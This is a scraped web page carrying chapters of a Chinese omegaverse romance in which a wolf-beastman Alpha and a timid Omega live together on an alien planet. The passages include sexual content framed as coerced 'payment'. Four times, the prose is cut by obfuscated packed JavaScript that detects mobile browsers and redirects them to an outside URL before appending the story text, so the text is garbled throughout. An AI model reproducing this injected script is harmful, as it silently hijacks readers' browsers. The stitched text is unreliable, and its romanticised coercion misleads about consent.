;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715375|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮的蓝色眼睛盯着他,在等待回答。 时诺不敢多看,讷讷的,小声解释:“没有那么难吃,有热汤热菜就很好了。” 修眉头微挑,随即平复,他没说什么,依旧是懒怠的模样。 时诺手撑在桌子上借力站起,他吃饱了,见修·埃尔维斯的碗同样空了,于是伸手,想一起拿到厨房洗。 修抬眼看他:“做什么?” “洗碗。”时诺小声说。 修这才想起他每次吃完饭都会在厨房清理一阵,没有阻拦,在时诺往厨房走的时候,他起身跟在后面。 还有半锅,留着下一顿吃,这样也方便,不用再做了,热一热就行。 时诺很快洗完两人的碗筷,又把案台擦干净,收拾妥当了,才仔细洗一遍手。 一转身就看见两米高的男人在厨房门口,懒懒靠着门框,眉眼低垂,看起来很疲倦。 至于疲惫的原因,时诺低下头耳朵微微发红。 “好了?”修抬眸问道。 时诺点头:“嗯。” 下一秒,时诺身体一轻,整个人被抱了起来,被迫靠在男人块垒分明的胸膛上。 修·埃尔维斯围着兽皮,这里没有他能穿的衣服,长久以来的原始生活,他自己也习惯如此。 这对时诺来说是一种煎熬,修的存在感太强,总是在他眼前,无论自己看哪里,余光都会被男人结实的躯体占满,他根本不敢乱看。 被抱着往卧室走,他抬头,就看见对方凸起的喉结和清晰分明的下颌骨,是极好的骨相,半张脸就可以感受到攻击性极强的俊美。 卧室门被踢上关好,时诺被放在床上,哪怕一点也不排斥对方,反而十分眷恋这个怀抱,但他依然心有畏惧。 修很强势,性()能力也过于强,成结不止一次,他今天早上七点多八点才被允许睡觉休息。 还没找到借口,高大男人躺在床外侧,伸手将他搂进怀里,随意将薄被盖在两人身上就闭上了眼睛。 呼吸间全是Alpha身上清冽的冰莲香气,很好闻,时诺悄悄松一口气,看来累到的不止是他。 · 修·埃尔维斯陷入沉睡。 这是他的第一次,在这之前,连自我安慰都没有过,他体会到极致的快活,只是人形还没有彻底稳定。 高昂热烈的情绪过后,他抱着Omega沉沉睡去,苏醒后也略有困倦,好在他适应能力不错,第二次入睡,身体自发进入调整,尽可能去适应人形状态。 · 虫鸣声时高时低,宁静的原野夜风习习。 月色如水,风从打开的缝隙吹进,轻轻吹动白纱和窗帘。 草木、泥土和微风都有着独特的气息,无比静谧的夜晚,紧靠着安全感十足的热源,时诺安安静静聆听,习惯性发了一会儿呆。 发散的思维不知道想到哪里,倏然被拉回,他想起昨晚修·埃尔维斯闯进浴室后两人的对话。 他当时想让对方出去,但修看着他,说出了第一句话。 “报酬。” 时诺不解。 第一个字说出口后,有关语言的记忆复苏,修·埃尔维斯说得较慢:“等价交换,你吃了我的肉。” 时诺愣住,惯性思维使然,问道:“钱?” 修皱眉,说:“不,交换,你,给我。” 见时诺还是没有理解,他总算想到一个词:“交/////配。” 时诺惊愕,但肉已经吃进肚子里,没有反悔的余地,修·埃尔维斯见他理解了,满意地上前,自主索取肉钱。 18.第 18 章 晚上九点多,吃完第二顿饭,锅也洗干净了。 时诺将厨具收好,余光看见修又在厨房门口等着,他手一顿。 果然,洗干净手后,这次修问也不问,直接过来将他打横抱起。 男人臂膀结实,极漂亮的肌肉弧度,浑身力量感十足。 已经是晚上,这里又没有任何娱乐,时诺没有拒绝,等进了房间后,他犹豫着开口:“我不困。” 差不多睡了一个白天,刚吃过饭,精神恢复一些,他眼下确实睡不着,小声说:“要不,你先睡。” 他看修的架势是要往床边走,以为对方还困。 修·埃尔维斯径直走到床边,他坐下,将时诺抱在怀里,一手捏着Omega后颈,将人往自己唇边压。 时诺下唇被含住,被男人轻轻吸吮品尝。 昨晚就经历过,他没有那么无措,努力让自己学会呼吸,不然真的会缺氧。 男人似乎从接吻中得了趣,不像昨晚那样凶猛,慢慢厮磨吞咽。 AO之间的生理牵绊和影响很复杂,再加上时诺天性柔弱,男人让他张嘴,他不敢拒绝,连颤巍巍的舌尖也被吮过去。 他感到羞耻,因为这样温柔的接吻让他觉得很舒服,甚至变得贪心,想让男人一直吻他。 羞耻之下,他选择逃避,在分开之后,气喘吁吁侧过脸躲避,于是修的吻落在他脸颊上。 “刚、刚吃完饭,要洗漱,不能亲。”时诺声音不稳。 他吃了饭,修对难吃的饭菜不感兴趣,只在一旁等着。 修·埃尔维斯觉得麻烦,Omega浑身都是香软的,那股热融融的信息素香从肌肤中散发出来,每时每刻都在勾引人。 他耐心不怎么好,报复性咬了一口时诺脸颊上的软肉,没咬疼,抱着人起身。 时诺怕洗完又要亲,连忙又找借口:“不是现在,要等一会儿,刚吃完饭不能立刻洗澡。” 知道Omega到了夜晚有清洗的习惯,站起来的修没有怀疑,只是有些烦躁,问:“现在不能洗,也不能亲?” “嗯。”时诺硬着头皮回答,不敢和对方对视。 修盯着怀里垂下脑袋的Omega,他眼睛颜色特殊,瞳孔发生变化时如海洋浪涌,碧蓝滔天。 “多久?”他问道。 时诺想了一下,谨慎开口:“半小时后才能洗。” 半小时太短了,不过刚才接吻Omega的顺从让他很喜欢,修·埃尔维斯思考了一下,不让亲嘴,但可以做点别的。 时诺的情绪他可以模糊感知到,那种慢腾腾的厮磨对方好像很喜欢。 倒也不是不可以。 · 半小时一到,白发男人掐准了时间,立即抱着人去浴室。 时诺被抱起,惊慌失措,只能紧紧攀住对方,随着走动承受。 刷牙时他被男人单臂抱在怀里,没有故意折腾他,但这样的姿势实在惊世骇俗,偏偏修·埃尔维斯一脸懒洋洋,毫无羞耻心可言。 修一手抱着Omega,另一手生疏刷牙。 牙刷是时诺的备用牙刷,崭新还没用过,当初一起送来的物资不算多,幸好这些洗漱用品足够,牙刷有两支,不然他还得想办法找东西清洁牙齿。 牙刷质量和材料很好,一年换一只完全可行,但修拆了第二支,时诺有点发愁。 还是得珍惜一点,也不能再穷讲究了。 牙膏的味道和草木不同,修·埃尔维斯即使兽化后,也会找天然草木咀嚼清洁牙齿。 这是兽人生来就有的天性,保护好牙齿可以让獠牙维持锋利,清洁会让身体气息变淡,更利于捕猎。 洗漱完,草草冲了热水澡,还没走出浴室,时诺被吻住。 · Omega的身体和普通人不同,生理机制和Alpha契合,天生尤物。 · 作息混乱了五天后,时诺总算摆脱困境。 修·埃尔维斯消失,白狼轻甩着尾巴趴在客厅地毯上,一只前爪搭在躺在它旁边的Omega身上。 时诺神色疲倦,穿着长袖长裤睡衣,但露出来的肌肤上是各种痕迹,尤其后颈。 地毯厚实柔软,他闭上眼睛进入黑沉沉的梦乡,得寸进尺的白狼见状,将Omega搂进怀里,时不时舔一口。 · 青色雨雾笼罩了整片天地,视野所及,天连着地,一派清濛潮湿。 时诺坐在门口看雨,今早睡醒后就下起雨,出不去,只能坐在这里看。 肚子不再鼓胀,从沉溺中脱身,意识彻底清醒,他慢吞吞反应过来,自己为一口肉付出了什么样的代价。 漂亮的眼睫如蝶翼般轻轻颤动,时诺抿了抿唇。 等价交换。 修·埃尔维斯的话重新浮现,让他生出一种难堪,交换出去的,是他自己。 细雨簌簌,被一阵冷风吹进房子。 时诺脸颊被冰凉雨水沾湿,将小凳子往后移了移避开,依旧坐在门口没走,一双漂亮的眼睛凝望远处,白皙脸颊不再持续沾染霞粉一样的艳色。 白狼餍足,尾巴慵懒甩动,它脑袋朝着大门方向趴着,只要睁开眼就能看到Omega的背影。 体型瘦弱娇小,但意外很契合,窄瘦腰身那么白,那么细,却可以完全接受它容纳它。 虽然没测过,但它知道,两人的信息素匹配度一定很高,或许是它的天命Omega. 它鼻尖微动,闻到Omega身上带着它的标记,过浓的信息素会让所有人都知道他们之间的关系。 不像临时标记那样,过段时间就消散了,终身标记是一辈子的事,时诺接下来的一生都会带着它的标记和信息素味道生活。 这让它满意甚至得意起来,尾巴慵懒甩动,十足愉悦。 它很了解埃尔维斯家族的行事作风,时诺只是随便挑的一个Omega,不可能测匹配值,一无是处的埃尔维斯家族,倒也阴差阳错,给它送来了最合适的伴侣。 白狼喉咙动了动,茶栀花的香味无处不在,让它蠢蠢欲动,但最终还是收敛了。 足够了。 索取到的报酬已经足够,远超它所想象。 至于时诺最后一天的难以承受,他没有丝毫愧疚心,仿佛一切都是他应得的。 冷风冷雨,见Omega坐在门口没动,白狼起身,周身白色虚影一闪,身形就缩小了一半。 毛茸茸的狼头凑近,时诺眨了眨眼睛,神思回拢。 他不知道白狼想做什么,心中略忐忑,除了亲密的事以外,一般在客厅,两人都是互不干扰,鲜少有凑到一起的时候。 毕竟彼此都不了解。 他坐着,白狼一米五的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721375|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩高,轻易就能将他笼罩。 后颈被舔了一下,是腺体的位置,时诺没有出声,这几天已经习惯腺体被舔被咬了。 他看不到的后颈,白狼看得一清二楚,那里的皮肤咬痕青杂斑驳,也被吮出片片或轻或重的红痕。 Omega从里到外一身都是自己的信息素味道,大大满足了Alpha病态般的占有欲。 狼头拱到时诺肚腹间,它不断嗅闻,可惜小腹平坦下去,不再是它喜欢的鼓胀手感。 代谢尽了。 脑袋又拱又蹭,时诺衣摆被蹭起,露出一截细瘦窄腰。 白狼兽瞳一眯,深蓝眼眸暗沉沉的。 因为白狼强行挤进来,他被迫往后仰了仰上身,腰腹传来几下粗糙的湿热感。 光天化日,大门敞开,就算外面什么都没有,也不该这么开放,他忍不住伸手按在狼头上,试图阻止对方。 白狼意犹未尽,但还是顺着Omega的心意往后退了小半步。 刚整理好衣服,狼头又凑来,时诺只觉大腿上一沉,白狼蹲坐在他腿边,将脑袋搁在了他腿上。 余光里,一条雪白的大尾巴在轻轻摇晃,白狼趴在他腿上,双眼微阖,不像是之前强势凶猛的野兽,更像只温驯的大型犬。 时诺没敢拒绝它,僵着身体任由对方放脑袋。 好一会儿后,他没忍住,抬手偷偷摸了一下白狼后颈。 毛绒绒的,毛发厚实,虽然没有那么软,但干净蓬松,手感很好。 异星球的生活实在无聊,好不容易有一点新鲜的事,时诺被蛊惑了一般,又偷偷揉了一下白狼后颈那里。 至于脑袋,他是绝对不敢的。 第一次的“骚扰”,白狼没在意,以为是Omega抬手不小心蹭到,毕竟那么轻那么柔的动作,完全可以用不小心解释。 但第二次,它维持着搁在时诺腿上的姿势睁开眼,一双兽瞳清醒冷冽。 这种被当成宠物的摸法,没有人敢在它身上施行。 很不爽。 它烦躁不已,但又不能对自己的Omega发脾气。 焦躁让释放出来的信息素变得攻击性很强。 时诺是Omega,敏锐察觉到空气中那股莲香味道变得寒冷,压迫感随之袭来。 意识到白狼不高兴了,他手一顿,有些无措紧张,后知后觉害怕起来,大气不敢出。 宠物犬被不喜欢的人摸,有可能会转头咬对方一口。 他本就畏惧白狼的体魄,在这么强的压迫感下,脑海里几乎想象出自己被一口咬穿手的画面。 怀里的白狼抬起脑袋,呼吸也不像刚才那样平稳,乱了几分,像是很暴躁。 时诺不由得畏缩一下,眼睫受惊般颤动。 一阵刺眼白光闪过,待恢复,白狼消失不见,取而代之的,是单膝跪在旁边的白发男人,身形精壮,背肌挺括,腰间围着雪白兽皮。 修·埃尔维斯抬头,眉头微蹙,他相貌冷硬英挺,眼神野性十足,稍稍做出皱眉的模样,就显得有些凶和不耐烦。 时诺瞥一眼就畏惧不已,连余光都不敢看,讷讷开口:“对、对不起。” 他声音微微颤抖,修更烦了。 盯着那张说完话又轻轻抿在一起的粉色唇瓣,修·埃尔维斯不再忍耐,上前捧起Omega的脸,径直吻过去。 19.第 19 章 晨起的风很冷,天晴了,一些土坑中还有未晒干的雨水,草丛中露水莹莹,走几步很快就打湿鞋面和裤脚。 见状,时诺转身回去,等太阳出来后晒一晒,露水没这么重再出去挖野菜。 想起冷储柜中的鹿肉,他进厨房,洗过手就拿出一块肉,仔细切成一片片薄片。 那几天作息很混乱,他没有余力做饭,又不敢过度劳烦修·埃尔维斯,肉块和菜混着煮一锅,有荤有素,就足够了。 今天彻底恢复过来,也该换个口味。 这一块肉不小,时诺切了两盘,每一盘码了两层,他从橱柜中取出几样调料,斟酌着倒入,随后拿了筷子搅拌,看每一片肉都裹上料汁,他将盘子放在一旁,静等腌制一小时。 上次煎肉片没腌,味道也不错,只是不知道这种肉腌多久才好吃,得多试几次。 心情很好,挖野菜都不着急了。 换了床单和一床被子,塞进清洗机里,光脑提醒能量晶石需要更换,时诺便往地下室走。 客厅的兽皮大地毯是白狼地盘,它听到了光脑的提示,想起什么,站起身,白光闪烁间,兽形抻拉变形,一具健硕修长的身影出现。 修·埃尔维斯跟在后面,沿着阶梯往下,就进入幽深微凉的空旷地下室。 时诺正站在主墙前,墙面打开,露出里面的黑色管道装置,他从中取出失去光泽的能量晶石,塞进另一枚光芒闪闪的晶体。 地下室不小,有一些杂物靠墙堆放,各种箱子堆垒,倒不杂乱。 “晶石还有多少?”修问道。 时诺随手按了个按钮,墙体闭合,他转头开口:“一百三十三颗。” 修·埃尔维斯淡淡嗯一声,视线从墙角的杂物箱体上扫过,没什么危险的东西。 从地下室出来,时诺抬头:“埃尔维斯先生,你还要在地毯上休息吗?” 习惯了这个称呼,从第一面,时诺就这样喊他,修没在意,说:“不。” “那我清扫一下地毯。”时诺声音不大。 “嗯。”修淡声应了下,他知道Omega爱干净,只要有空,就会到处打扫清理。 时诺拿着手执式清扫器,紧贴着地毯刮过,机器发出嗡嗡鸣动,自动吸尘、清洗、速干。 这张兽皮地毯很大,他光脚踩在上面来回走动。 修·埃尔维斯百无聊赖,坐在一旁的单人沙发上。 他长腿伸展,手肘随意放在两侧扶手上,背靠椅背,坐得没那么直,头也往后靠着,懒洋洋看着干活的时诺。 他人没动,思维发散,但一双蓝色眼瞳随着时诺移动而转动。 无法忽视的视线,时诺不习惯被这样赤裸裸注视,手脚忽然变得僵硬,都不知道要怎么放,他垂下脑袋,努力让自己放松。 发现Omega耳朵越来越红,修·埃尔维斯从放空中回神,反应过来时诺的窘迫后,他眉头微微一动,这样对待一个Omega,确实有些失礼。 他垂眸,收回目光,一只脚杵在地上,稍稍用力,就将沙发转向了门口方向,随后翘起一只脚,无聊散漫望向外面。 机器的嗡鸣声不断。 修·埃尔维斯突然想起来,他和Omega是合法婚姻,别说盯着看,就是亲和交///配,都合情合理。 时诺嘴唇很软,吃起来是甜的,嘴巴里很香。 水也多。 整个人像是茶栀花味的信息素液做的,又香又软。 时诺松一口气,认真清理地毯,丝毫不知道Alpha脑子里想的东西。 忙完这些,他又把储物间地面清理一遍,至于卧室餐厅和客厅其他地方,刚起来那会儿已经打扫过。 清洗机里的衣物洗完烘干,他取出来,叠好放进衣柜中。 光脑滴滴响了几下,是他设置的一小时提醒,肉片腌好了。 修·埃尔维斯又转动沙发,看时诺往厨房走,脚步轻快,空气中的Omega信息素散发出雀跃欢喜。 锅里肉片滋啦滋啦响,时诺拿着筷子等待翻面,肉香四溢,他舔舔嘴巴。 “煎肉?”修走进来。 “嗯。”时诺点头,见他盯着锅里的肉看,小声询问:“你要吃吗?” “嗯。”修·埃尔维斯毫不客气。 见时诺一手拿筷子,一手举着锅盖挡油点迸溅,他上前,正好几滴滚烫的油点迸溅出来,落在他手上。 他动态视力很好,清楚看到油点也溅到时诺手上,时诺瑟缩一下,想躲没躲过,似乎是有点刺痛,他看着时诺揉了揉手。 就这么点似有若无的烫意,也要揉一揉。 修·埃尔维斯直面感受到了Omega的脆弱。 他从时诺手里拿过筷子,将人挡在身后,问道:“怎么做?” 时诺愣了下,从后面探头看一眼锅里,说:“都翻个面,焦黄应该就熟了。” 修·埃尔维斯按着他所说,将肉片翻了一遍。 时诺在后面探出脑袋,想观察肉片熟度,油点蹦炸不受控制,但修的反应更快,抬手在空中挡住。 肉片薄,煎熟后时诺拿了个空盘子,修接过,将肉片夹出来。 两个人都没说话,氛围有些微妙的和谐。 精壮健硕的男性身躯就这么晃在跟前,时诺垂下眼睫,视线没敢在肌肉块块分明的胸膛和腰腹流连,盯着盘子里的肉。 他转身去拿筷子,修夹起一片肉看了看,似有犹豫,但还是吃了。 熟肉口感和生肉完全不同,融进肉里的调料带来别样滋味,是久违的味道。 肉片切的大小不一,一共七片,吃到最后还剩一片,时诺将筷子放在一旁,还有好多要煎,不差抢这一口。 一转头肉抵在嘴边,他抬眼,就看到修·埃尔维斯懒散但强势的神情,面对“强权”,他下意识张嘴,一筷子肉就被塞进去。 修将盘子搁在案台上,学着时诺的模样,夹起一片片肉放进锅中煎。 白发男人看着锅里的肉片,将Omega挡在身后。 修·埃尔维斯大少爷脾气不小,出生起就地位超然万众瞩目,本性又霸道,年幼时即使面对同龄的Omega,也从来不知道谦让是什么东西,都是别人伺候他讨好他。 如今有了自己的Omega,他再不讲理,也不会和自己伴侣抢一口肉吃。 两盘肉片就这样煎完,大半落在时诺肚子里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725655|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 修到后面已经不感兴趣,在时诺喝水的时候凑上前,用沾了Omega信息素的水杯喝了两杯温水。 他之前进食过,目前人形还不稳定,野兽本能更强,大量的新鲜血肉可以保证一段时间的饱腹感。 时诺洗锅洗盘子,后颈一只大手不断摩挲他腺体。 那只手很大,骨节粗硬,手指修长不失美感,曾经…… 时诺抿了抿唇,不敢再回想。 腺体对AO来说是极为私密的部位,被这样亲昵抚摸按压,是明显带有情se意味的,不怪他会想到那些。 水流停下,时诺轻轻避开后颈那只手,把洗干净的厨具一一放好。 习惯使然,他又转身洗手。 这期间修没有伸手骚扰,但是眼神一直落在Omega白皙细腻的后颈,同时喉结动了动。 太阳早已高升,大门敞开。 从厨房出来,时诺心想该出去找野菜,跟在后面的修·埃尔维斯忽然靠近,将他箍进怀里,一只大手压着他后脑。 头被压低,被迫露出后颈。 时诺没有反抗,等待犬齿刺破腺体。 然而炙热的呼吸和粘腻的舔舐不断在腺体处巡回,又闻又舔,让他乱了呼吸。 等待獠牙来袭的期间最忐忑,连带着后颈那一片肌肤都在紧张。 终于,尖齿刺破皮肤,那一瞬间的刺痛感仿佛被放大,被禁锢在怀里的漂亮Omega瞳孔微微涣散。 香甜的茶栀花液被吸走,从Alpha变长的犬齿中注入冷冽莲香,Alpha信息素液注入太快太多,时诺腿根微颤。 标记完成,时诺神智散乱,连什么时候被抱着在单人沙发上接吻都不知道。 凶狠的深吻让他难以呼吸,只能抱着修脖子攀附在对方身上。 修·埃尔维斯从一开始的生涩亲吻,在短短几天内,已经技艺娴熟,不会再磕到牙齿带出血味,甚至学会了引导笨拙的Omega回应他。 二十几分钟后,时诺在变得温柔的接吻中回过神,才发现自己的姿势十分不雅。 修·埃尔维斯腿长胳膊长,坐在单人沙发上,伸长腿的散漫姿态过分帅气慵懒,他眼睛半阖,按着怀里Omega的后颈轻吻缠绵,喉结时不时滑动吞咽。 时诺坐在修腿上,明明处于上方,却被强势压下头。 阳光明媚,微风徐徐吹拂。 时诺坐在修·埃尔维斯身上,清瘦的肚皮有一处微微鼓起,目露痛苦、欢愉。 雪白兽皮渐渐从沙发滑下,沙发上的男人隐忍着,偶尔几声喘气低沉沉的,十足性感。 温柔的亲吻是俘获Omega自动靠近的方法之一,修·埃尔维斯学习能力探索能力很强,轻轻在时诺唇角和脸颊亲吻,罕见的耐心逐渐发挥了作用。 在持续不断的啄吻中,被哄骗的时诺靠近了他,笨拙、生涩回了一个吻。 修·埃尔维斯感受着落在自己唇角处的轻吻,锋利冷冽的眉眼舒缓下来,一点愉悦从蓝眸中散开,动作不再凶狠。 时诺得到解救,呆愣愣的,以为这样可以讨好Alpha,不再折磨他,于是再次吻了过去,却不想落入温柔漫长的陷阱。 20.第 20 章 一片黄叶落在草地上,不知道从哪里吹来。 时诺弯腰,捡起这片叶子,恍然发觉季节的变化。 回来后他坐在门口择菜,黄叶放在一旁地上,有风吹起,将叶子吹得忽上忽下。 修从里面走出来,头发微乱,睡眼惺忪的模样。 昨晚两人一起睡在卧室,时诺起床时,修醒了但没有起的意思,翻个身闭着眼睛不愿动,他就轻手轻脚自己吃早饭出门挖野菜,没敢惊扰对方。 腿长胳膊长的男人抱臂靠在门框上,懒洋洋抬眸,看一眼前面坐在小凳子上的时诺。 一个坐着一个站着,身后的人虽然没出声,但存在感很强。 黄叶晃晃悠悠被吹到眼前,时诺择菜的手一顿,没有去抓,他坐直,回头小声问道:“埃尔维斯先生,这里要进入秋季了吗?” 很礼貌也很客气的问话。 修的视线落在那片飞舞的黄叶上,风吹动他头发,听到询问,他目光移到时诺脸上,刚睡醒,他嗓音微哑:“嗯,初秋到了。” 时诺又问:“秋天几个月?这里也是春夏秋冬四季吗?” 很多星球上的季节划分不同,有雪季雨季风季旱季等还算正常的季节,但最适合人类居住的,还是相对平缓的春冬四季。 很少听时诺说这么多话,修多看了一眼,随即看向远处天边若隐若现的山峦,说:“是四季,秋天四个月,多风多雨,从初秋过渡到更冷的深秋,接着就是为期四个月的冬天,雪多。” 他还算耐心,又说:“每一季都是四个月,用四季划分年时,一年有十六个月。” 冬天。 时诺心微微提起来,冬天要四个月,还好,四个月的秋天,应该有足够的时间让他准备过冬食物。 野菜好找,上次飓风和雷暴过后,类似土豆的根茎植物很难再找到。 怕问题太多被讨厌,但更怕再有极端天气摧毁植物,时诺不得不开口:“那,像上次的风暴,也是常见的极端变化吗?” 修没任何烦躁的神情,说:“不常见,这些年我只遇到过三次,今年再发生的概率不大。” 想起上次时诺面对飓风雷暴的惶恐,他罕见起了一点好心,安慰对方:“这里的气候总体来说是适宜的。” 他神色慵懒,姿态随性,眉宇冷峻淡然,嗓音也不够温和,安慰人更像是随便说了一句话。 “嗯。”时诺认真点头,根本没听出来这是在安慰他,但还是放了心,扭过头微微弯腰,继续择自己的野菜。 修看了一会儿,他不吃草,对这种东西没任何兴趣,辨认了一下时诺手里的东西,没毒,也就没说什么。 秋季多风还好,气温下降,顶多冷一点,他有厚衣服,多雨就比较难。 时诺一个人边干活边琢磨,下过雨可能会有蘑菇,不过至今为止,他还没找到能吃的蘑菇。 想起荒野里那些被风刮倒被雷劈倒的树,雨水丰沛的话,树上或许会长出木耳,不止木耳,有的树也会长蘑菇。 想到这里,他忽然干劲十足,刚才只在附近挖野菜,没有往远处去。 两桶野菜很快择好,太阳大,放在外面容易晒蔫掉,时诺将野菜先放进厨房,随后出来,又拎着桶往外走。 他经常出门,在外忙碌一通却只带回一堆野菜,修·埃尔维斯已经习惯。 在时诺出大门,从他身旁路过时,高挑结实的男人在一阵白光中消失,巨狼从白光中迈出来。 比起人形,修更习惯恣意张扬的兽形。 时诺直奔横倒在地的大树,野草蛮横生长,几乎要将树躯淹没,下过雨,有苔藓爬上树干,湿绿滑腻。 他捡了根树枝,拨开草丛,仔仔细细绕着大树检查一遍,除了青苔和钻进树干里生活的小蜥蜴小虫子以外,没有其他东西。 经常在周围挖野菜,时诺大概记得哪里有倒伏的树木。 一连找了好几处,都没发现木耳,倒是看见了之前见过的蘑菇,那几颗蘑菇长得太骇人,他没敢去采。 平时出来还能挖两桶野菜,今天走了许久一无所获。 跟在不远处的白狼原本懒懒散散巡视自己的核心领地,见状皱了皱眉,看出Omega似乎在找东西,它上前。 “在找什么?” 熟悉的低沉磁音在身后响起,时诺没有被吓到,兽人本就具有开口说话的能力。 没有找到的失落感仅仅一瞬,本来就没抱多大希望,时诺老老实实开口:“我以为下过雨,树上可能有木耳和蘑菇。” 说完,时诺视线落在前方的圆叶野菜上,从桶里拿出木板铲子,蹲下就挖。 白狼思考一会儿,想起什么,转头看了看西北方。 跃过大河,再往更远的地方,有一片地势较高的矮山,山上林木茂密,好像就有Omega想要的木耳和蘑菇。 平原也有自然资源丰富的地方,只是物种原因,温度和湿度还不合适,一些可食用的东西尚未从地底发出。 “我知道哪里有。”白狼开口。 时诺刚挖了几棵野菜,听见它这样说,眼睛亮了下。 白狼身躯缩小,近前,矮下身体示意他坐上来。 时诺将木铲放进桶里,一只手紧紧握住两个小桶,有些忐忑不安,上次摸了下就差点被信息素攻击,但又怕自己耽误久了,惹了对方不快。 他不敢动作大了,又怕自己太沉,坐上狼背后,四肢几乎僵直,动也不敢动。 白狼走了几步,察觉到背上的人摇摇晃晃,连两条腿都是僵硬的,它有些不满:“趴下来,抓紧。” 山林离得较远,还得淌过大河,它又习惯急速奔跑,直挺挺坐在背上很容易掉下去。 时诺小心翼翼趴下来,左手抓着两个小桶,右手谨慎地攥住一点雪白毛发。 白狼奔跑起来后,他再也顾不上别的,上半身牢牢贴着狼躯,腿也不由自主夹紧,两臂紧紧搂在白狼脖子两侧。 耳边是呼啸的风,余光可以看见极速倒退的草木。 大河宽广,白狼几个跃起,踩着河中露出水面的几颗石头飞跃而过。 对时诺来说难以跨越的鸿沟,就这样轻易掠过,白狼继续奔跑,他忍不住回头,看了一眼被甩在身后的粼粼河面。 十几分钟后,白狼慢下来,走进一片树林。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729449|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>时诺从它脊背滑下来,站定后看了看周围,林子里阴凉,鸟鸣声不断从头顶传来,大树参天,斑驳阳光从树叶缝隙投下。 这是一片原生林,没有人类踏足过的痕迹。 路不好走,到处都是苍翠植被。 时诺没有山林徒步的任何经验,下脚艰难,走了没几步,似乎听到一声低叹,随后衣摆就被旁边的白狼咬住。 等他坐好,白狼不再耽误,快速上了山坡。 从一棵巨树旁边绕过,前方地势还算开阔,景物瞬间映入眼帘。 黄色、白色、绿色的蘑菇一簇挨着一簇,到处都是,同色系的色彩也各有不同,大大小小,生长在山坡上,仿佛进入了一片蘑菇王国。 敏锐的嗅觉让白狼停下脚步,这里很多蘑菇都无毒。 时诺第一次见到这么多蘑菇,又惊讶又高兴,顾不上别的,下来后提着小桶直奔距离最近的一颗浅黄色小蘑菇。 圆嘟嘟的菌子柄,圆鼓鼓的菌伞,看起来肥肥胖胖,像童话和动画里的可爱蘑菇。 白狼迈着悠闲的步伐,抬头看了一眼,树上没有木耳,不过找到蘑菇了,应该够Omega吃一段时间。 如果想要木耳,找找也没什么。 转头看见时诺神色犹豫,它开口:“没有毒,这里黄色的都无毒,浅绿色的也可以摘,注意紫色的那些,一个都别碰。” 原本担心蘑菇有毒,时诺认真听完它的话,眉眼情不自禁带上一点浅浅笑意:“好,我记住了。” 第一次在Omega脸上看见笑容,浅淡,但很明显,白狼状似不在意,端着天性里的矜持和高贵,只有雪白的尾巴甩了几下。 时诺脚步轻快,投身进蘑菇的世界,一颗接一颗,一朵接一朵,将各种蘑菇采进小桶里。 肥嫩新鲜的菌菇十分讨喜,有的甚至散发出难以言说的淡淡香气,他变得贪心,两只手忙个不停。 这里的蘑菇没有被采过,不过能看到一些被啃食过的痕迹,应该是动物。 也能看见不少蘑菇腐坏的痕迹,从大地中长出来,又重回大地。 时诺欢快不已,等两桶都装满,还觉得意犹未尽。 桶里都是黄色和浅绿色的蘑菇,没有别的颜色,这里没有医院,他很怕采到有毒的,很谨慎。 直起腰,发现周围只剩下自己,刚才太过投入,没有留意白狼的动向。 林木葱翠,重重树影几乎遮住天幕,无比静谧,时诺愣住。 他压下恐慌,朝着前方喊:“埃尔维斯先生。” 声音不大,仿佛沉入水底,没有回音也没有回答。 好在下一秒,白狼从旁边密林中现身,叼着一根缀着许多红色莓果的树枝走近。 枝条因为红莓太多而弯曲,果子又大又红,汁水饱满的模样。 时诺很久没吃水果了,之前在荒原上发现过一些小的浆果,味道不怎么好,眼前的红莓散发出令人垂涎欲滴的水果甜气。 白狼跑出树林,沿着来时路往回赶,时诺趴在它身上,紧紧攥住小桶把手,他满腔欢喜快藏不住,第一次这么期盼回去,回去,就能吃到蘑菇,吃到莓果了。 21.第 21 章 